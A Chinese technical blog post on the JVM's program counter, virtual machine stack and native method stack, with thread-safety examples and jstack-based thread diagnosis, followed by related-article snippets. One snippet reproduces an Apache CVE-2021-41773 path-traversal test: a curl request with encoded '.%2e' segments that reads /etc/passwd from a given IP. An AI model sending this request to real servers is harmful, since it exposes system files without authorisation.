jvm中的程序计数器、虚拟机栈和本地方法栈
引言
本文主要介绍一下jvm
虚拟机中的程序计数器、虚拟机栈和本地方法栈。
程序计数器
作用
作用:记录下一条jvm指令的执行地址。
下面具体描述一下程序计数器的作用。
这里有两个代码,右边的为源代码,左边为编译之后的字节码。
当我们直接写完源代码之后这个代码是不能直接交给CPU运行的,需要转化为对应的机器码才能让CPU
运行。
具体的步骤:
源码 —> 字节码 —> 解释器 —> 机器码 —> CPU 运行。
在这整个过程中,程序计数器的作用就体现在字节码被解释器转化为机器码的过程中,在这个过程中,解释器每解释一条指令之后就会到程序计数器中取得下一次条指令的地址,然后程序计数器再指向下一条指令。
除此之外程序计数器在多个线程运行中也起到关键的作用,接下来就顺便介绍一下程序计数器的特点,并探究一下在多线程中起到了什么作用。
特点
特点:
● 是线程私有的
● 不会存在内存溢出(唯一一个不会内存溢出)
这里具体介绍一下线程私有和程序计数器作用之间的关系,我们都知道CPU
会给每个线程都分配时间片,当时间片用完之后线程就会停止运行被挂起了,所以在这个时候也需要记录一下接下来程序需要执行指令的地址,这正是程序计数器的作用。所以想要正确的保证时间片被用完之后还能记录程序运行的位置,为之后重新获得时间片继续执行程序,程序计数器是必不可少的。
同时我们也能发现为什么是线程私有的,因为每个线程都有自己所要执行的程序,并且需要分别记录自己程序将要执行位置,所以程序计数器是线程私有的,这样多个线程运行才不会乱套。
虚拟机栈
总结来说,虚拟机栈其实就是线程运行所需要的内存空间。
虚拟机栈里存放的内容称为栈帧,而所谓的栈帧其实就是每个方法运行所需要的内存。里面包括方法的参数、局部变量、返回地址。所以每个方法执行时就需要提前将这些内存给分配好,然后每执行一个方法就会存放一个相对应的栈帧。
但是并不是虚拟机栈中只能存放一个栈帧,如果存在方法的嵌套的话,就会放入多个栈帧,并且是按照栈的数据结构进行保存的,当方法执行完之后再从栈中弹出。
虚拟机栈只能有一个活动栈帧,指的就是当前正在执行的方法。
栈的演示
这里就在写一个嵌套方法来演示栈。
public class Demo1 {public static void main(String[] args) {method1();}public static void method1(){method2(1, 2);}public static int method2(int a, int b){int c = a + b;return c;}
}
我们在main
方法上打断点 debug 启动。
这里左边就是虚拟机栈里面存放着栈帧,右边就是这个栈帧的内容,这里面只有参数所以就显示了参数。当前的活动栈帧就是main
方法。
当我们走到method1
这时活动栈帧就是method1
方法,并且由于没有任何参数、局部变量和返回值所以就没有右边的栈帧内容。
接下来我们走到method2
这时我们的活动栈帧就是method2
方法,并且也有栈帧内容。
当活动栈帧对应的方法走完之后,就会弹出这个栈帧。这里我们在点下一步就会把method2
弹出,并且方法返回到method1
。
后续也是相同的。
问题辨析
垃圾回收是否涉及栈内容?
这里其实并不会,因为栈帧内存其实在每一次方法之后就会自己弹出栈,然后就把内存释放掉了,所以不需要专门垃圾回收进行内存回收。
栈内存分配越大越好吗?
其实栈内容也并不是越大越好的,因为栈内存指的是当前线程运行所需要内容,而我们虚拟机分配的内存并不是无限大的,所以给栈分配的内存也不是无限的。而如果当我们栈的内存过大的话,就会导致我们能够创建的线程数就减少了,也可能会影响性能,所以并不是越打越好。
这里顺便介绍一个jvm的指令参数来设置栈内存大小。
-Xss size // 后面跟一个大小
例如:
-Xss 1m
-Xss 1024k
-Xss 1048576
这个参数可以在idea中进行设置。
方法内的局部变量是否线程安全?
这里我们来观察一下代码
static void m1(){int x = 0;for (int i = 0; i < 5000; i++){x++;}System.out.println(x);
}
这个方法内的x
其实是线程安全的,因为当我们有多个线程去调用这个方法时,那么就会创建多个对应m1
方法的栈帧,然后在执行这个方法的时候每个线程都会创建自己单独的x
局部变量,所以这个是安全的。
但是如果这个x
是static
修饰的话,就不是线程安全的,因为这个变量就会被多个线程同时访问到,就会造成线程安全的问题。
接下来我们来看一下下面三个方法是不是线程安全的。
public void method1(){StringBuilder sb = new StringBuilder();sb.append(1);sb.append(2);sb.append(3);System.out.println(sb.toString());}public void method2(StringBuilder sb){sb.append(1);sb.append(2);sb.append(3);System.out.println(sb.toString());}public StringBuilder method3(){StringBuilder sb = new StringBuilder();sb.append(1);sb.append(2);sb.append(3);return sb;}
首先看第一个,这个StringBuilder
方法是一个局部变量,类似于上面的变量x所以这个是一个线程安全的,每个线程都会创建自己的StringBuilder
。
再看第二个,这个sb
变量是通过参数传过来,这个就会有线程问题,可能调用者通过多线程来调用的这个方法,然后再主线程中同时对这个sb进行了操作,这样就会有问题。这时候就应该使用StringBuffer
。
类似于以下这种调用:
StringBuilder sb = new StringBuilder();
sb.append(1);
sb.append(2);
sb.append(3);
new Thread(() -> {method2(sb);
});
第三个同样有问题,当创建完之后的对象给返回出去了,那么别的线程拿到这个数据同样可能会进行多线程的操作造成了线程问题。
所以总结来说:
● 如果方法内局部变量没有逃离方法的作用访问,它是线程安全的
● 如果是局部变量引用了对象,并逃离方法的作用范围,需要考虑线程安全
栈内存溢出:
造成内存溢出的原因具体有两种:
● 无限递归的方法调用没有返回,导致栈帧太多因此内存溢出
● 栈帧内存直接大于栈内存大小,导致内存溢出
由于第二种并不好实现,所以这里模拟一下第一种的情况。
具体代码:
public static void main(String[] args) {method();}public static void method(){method();}
这时就会报一个StackOverflowError
的错误就是栈内存溢出了。
线程诊断
cpu 占用高
这里写一个while(true)
代码,然后再linux
上进行运行。
接下来进行排查过程:
-
使用
top
命令查看资源占有情况
定位到 32655 进程资源占有高
-
查找相对应的线程
这里使用ps
命令可以查看线程的对cpu的使用情况。
ps H -eo pid,tid,%cpu
H
:表示把当前进程下的所有线程都打印出来
-eo
:表示后面添加的参数表示最后要展示哪些列,比如pid
、tid
、%cpu
还可以使用grep
进行筛选
ps H -eo pid,tid,%cpu | grep 32655
可以查看到 32655 进程对应的 32665 的线程占有率很高。
- 查看所有线程
使用 jdk 提供的工具 jstack 工具可以看查看当前进程中所有的线程。
jstack 32655
- 查找具体的线程
查找通过ps
命令找到的有问题的线程id(注意:这里需要将十六进制转化为十进制)
32665 ==> 7f99
这里状态还是运行中,并且显示了有问题的代码行数。
程序运行很长时间没有结果
当我们启动完一个java程序之后没有给到相对应的返回结果时,命令行会返回一个当前启动的进程号。
然后通过这个进程号使用jstack
命令来直接查询当前所有的线程
然后找到这个工具最后输出的内容:
如果有死锁导致没有输出结果的话,这里就会提示有死锁,并且提示有问题的代码行号。
总结:
定位:
● 使用 top
命令查看哪个进程占用的cpu
高
● 使用ps H -eo pid,tid,%cpu | grep 进程id
查看哪个线程占用cpu
高
● jstack 进程id
命令查看当前进程下的所有线程
○ 进一步查找有问题的线程,并定位到有问题的源码行数
本地方法栈
本地方法栈的作用就是给本地方法提供的一个内存空间,因为Java有些源码并不是用java写的,而是用c和c++写的本地方法(这是因为Java代码有一定的限制,不能直接跟操作系统底层打交道),所以为了能够调用这些本地方法,就专门有一个本地方法栈,专门用来调用这些方法供使用的。
具体有哪些本地方法,以Object
类举例子:
像这种以native
修饰的都是本地方法
相关文章:

jvm中的程序计数器、虚拟机栈和本地方法栈
引言 本文主要介绍一下jvm虚拟机中的程序计数器、虚拟机栈和本地方法栈。 程序计数器 作用 作用:记录下一条jvm指令的执行地址。 下面具体描述一下程序计数器的作用。 这里有两个代码,右边的为源代码,左边为编译之后的字节码。 当我们…...

安卓数据存储——SharedPreferences
共享参数 SharedPreferences 1、sharedPreferences是Android的一个轻量级存储工具,采用的存储结构是key - value的键值对方式 2、共享参数的存储介质是符合XML规范的配置文件。保存路径是:/data/data/应用包名/shared_prefs/文件名.xml 使用场景&…...

【计算机网络篇】数据链路层 功能|组帧|流量控制与可靠传输机制
🧸安清h:个人主页 🎥个人专栏:【计算机网络】 🚦作者简介:一个有趣爱睡觉的intp,期待和更多人分享自己所学知识的真诚大学生。 系列文章目录 【计算机网络篇】计算机网络概述 【计算机网络篇…...

Apache CVE-2021-41773漏洞复现
1、环境搭建 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2、使⽤poc curl http://47.121.212.195:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 3、工具验证...

带线无人机现身俄罗斯抗干扰技术详解
带线无人机在俄罗斯的出现,特别是其光纤制导技术的应用,标志着无人机抗干扰技术的一大进步。以下是对俄罗斯带线无人机抗干扰技术的详细解析: 一、带线无人机抗干扰技术背景 技术突破:俄军成功研发了光纤制导无人机,…...

ArcGIS10.2/10.6安装包下载与安装(附详细安装步骤)
相信从事地理专业的小伙伴来说,应该对今天的标题不会陌生。Arcgis是一款很常用的地理信息系统软件,主要用于地理数据的采集、管理、分析和展示。目前比较常见的版本有ArcGIS 10.2和ArcGIS 10.6。 不可否认,Arcgis具有强大的地图制作、空间分…...

生信服务器 | 组蛋白甲基化修饰、DNA亲和纯化测序、优青博导团队指导设计、解读实验结果。
查看原文>>>生信服务器 | 组蛋白甲基化修饰、DNA亲和纯化测序、优青博导团队免费指导设计、解读实验结果、一台服务器解决您所有的分析困扰!...

【machine learning-14-特征缩放-归一化】
特征缩放是提升线性回归收敛速度的技巧,什么是特征缩放? 又是什么场景下需要特征缩放,有哪些特征缩放的方法呢? 特征值差异 我们还是以之前房间预测为例: 这里面是特征房屋大小 房间数目 与房价的关系 本文为简化…...
二叉树堆的建立与排序
在数据结构中,二叉树是非常好用的一种数据结构,这节暂时按下不表。这节课主要介绍堆的建立与使用。 堆,是二叉树中一种很特殊的结构,首先,他必须是满二叉树,也就是除了最后一层以外,其他层都是…...

【软件测试】Bug 篇
哈喽,哈喽,大家好~ 我是你们的老朋友:保护小周ღ 今天给大家带来的是 【软件测试】Bug 篇,首先了解, 什么是Bug, 如何定义一个Bug, 如何描述一个 Bug, Bug的级别, 和 Bug 的生命周期, 以及测试人员跟开发人员产生争执如何处理,…...
oracle 多表查询
3.6多表查询 当查询的数据并不是来源一个表时,需要使用多表连接操作完成查询。多表连接查询通过表之间的关联字段,一次查询出多个表的数据。 3.6.1等值连接 等值连接也称为简单连接(Simple Joins)或者内连接(Inner Join)。通过等号来判断连接条件中的数据…...
layui 可以使点击图片放大
layui可以使图片点击放大,不用在写jquyery了真是很方便。 操作示例 引入 <link rel"stylesheet" href"https://cdn.jsdelivr.net/npm/layui-layer3.1.1/dist/layui.css" /> <script src"https://cdn.bootcdn.net/ajax/libs/jqu…...

制作网上3D展馆需要什么技术并投入多少费用?
制作网上3D展览馆项目,需要考虑以下技术和预算方面的信息: 技术需求: 1、三维建模技术:利用3D软件(3ds max、maya、blender、c4d等)制作展馆和展品的3D模型 2、Web3D技术:如WebGL,…...

C++标准库容器类——string类
引言 在c中,string类的引用极大地简化了字符串的操作和管理,相比 C 风格字符串(char*或cahr[]),std::string 提供了更高效和更安全的字符串操作。接下来让我们一起来深入学习string类吧! 1.string 的构造…...

Qt --- 常用控件的介绍 --- 其他控件
一、QPushButton QWidget中设计到的各种属性/函数/使用方法,针对接下来要介绍的Qt的各种控件都是有效的。 使用QPushButton表示一个按钮,这也是当前我们最熟悉的一个控件了。这个类继承了QAbstractButton,这个类是一个抽象类,是…...

spark读取数据性能提升
1. 背景 spark默认的jdbc只会用单task读取数据,读取大数据量时,效率低。 2. 解决方案 根据分区字段,如日期进行划分,增加task数量提升效率。 /*** 返回每个task按时间段划分的过滤语句* param startDate* param endDate* param …...
一次使用threading.Thread来实现Pytorch多个模型并发运行的失败案例
文章目录 背景我的做法(但证明不起效果) 背景 我有多个pytorch GPU模型,他们有不同的参数(也就是说不是共享的),但是相同的数据输入,想要并发运行。 不并发运行,当然就是循环喽。 …...
HashMap源码
简介 HashMap 是一种基于哈希表的 Map 接口实现,它存储键值对(key-value pairs),并允许使用键来快速检索值。在 Java 中,HashMap 是 java.util 包的一部分,它不是同步的,这意味着它不是线程安全…...

探索 Web Speech API:实现浏览器语音识别与合成
引言 Web Speech API 是一项由 W3C 开发的 Web 标准,为开发者提供了在 Web 应用程序中实现语音识别和语音合成的能力。通过 Web Speech API,我们可以让网页与用户进行语音交互,实现更加智能化和便捷的用户体验。本文将深入探讨 Web Speech A…...
python基础题练习
1.可否定义一个sum函数呢?返回指定区间的值的和?例如,区间[1,4]的和为123410返回指定区间值的平方的和呢?立方呢? 代码: # 计算从start到end(包括end)的所有整数的和。 def sum_ra…...

springboot 百货中心供应链管理系统小程序
一、前言 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,百货中心供应链管理系统被用户普遍使用,为方…...
ubuntu搭建nfs服务centos挂载访问
在Ubuntu上设置NFS服务器 在Ubuntu上,你可以使用apt包管理器来安装NFS服务器。打开终端并运行: sudo apt update sudo apt install nfs-kernel-server创建共享目录 创建一个目录用于共享,例如/shared: sudo mkdir /shared sud…...

人机融合智能 | “人智交互”跨学科新领域
本文系统地提出基于“以人为中心AI(HCAI)”理念的人-人工智能交互(人智交互)这一跨学科新领域及框架,定义人智交互领域的理念、基本理论和关键问题、方法、开发流程和参与团队等,阐述提出人智交互新领域的意义。然后,提出人智交互研究的三种新范式取向以及它们的意义。最后,总结…...

GitFlow 工作模式(详解)
今天再学项目的过程中遇到使用gitflow模式管理代码,因此进行学习并且发布关于gitflow的一些思考 Git与GitFlow模式 我们在写代码的时候通常会进行网上保存,无论是github还是gittee,都是一种基于git去保存代码的形式,这样保存代码…...
快刀集(1): 一刀斩断视频片头广告
一刀流:用一个简单脚本,秒杀视频片头广告,还你清爽观影体验。 1. 引子 作为一个爱生活、爱学习、爱收藏高清资源的老码农,平时写代码之余看看电影、补补片,是再正常不过的事。 电影嘛,要沉浸,…...
MySQL 8.0 事务全面讲解
以下是一个结合两次回答的 MySQL 8.0 事务全面讲解,涵盖了事务的核心概念、操作示例、失败回滚、隔离级别、事务性 DDL 和 XA 事务等内容,并修正了查看隔离级别的命令。 MySQL 8.0 事务全面讲解 一、事务的核心概念(ACID) 事务是…...
Python 训练营打卡 Day 47
注意力热力图可视化 在day 46代码的基础上,对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...

【C++】纯虚函数类外可以写实现吗?
1. 答案 先说答案,可以。 2.代码测试 .h头文件 #include <iostream> #include <string>// 抽象基类 class AbstractBase { public:AbstractBase() default;virtual ~AbstractBase() default; // 默认析构函数public:virtual int PureVirtualFunct…...

【版本控制】GitHub Desktop 入门教程与开源协作全流程解析
目录 0 引言1 GitHub Desktop 入门教程1.1 安装与基础配置1.2 核心功能使用指南仓库管理日常开发流程分支管理 2 GitHub 开源协作流程详解2.1 Fork & Pull Request 模型2.2 完整协作流程步骤步骤 1: Fork(创建个人副本)步骤 2: Clone(克隆…...

数据挖掘是什么?数据挖掘技术有哪些?
目录 一、数据挖掘是什么 二、常见的数据挖掘技术 1. 关联规则挖掘 2. 分类算法 3. 聚类分析 4. 回归分析 三、数据挖掘的应用领域 1. 商业领域 2. 医疗领域 3. 金融领域 4. 其他领域 四、数据挖掘面临的挑战和未来趋势 1. 面临的挑战 2. 未来趋势 五、总结 数据…...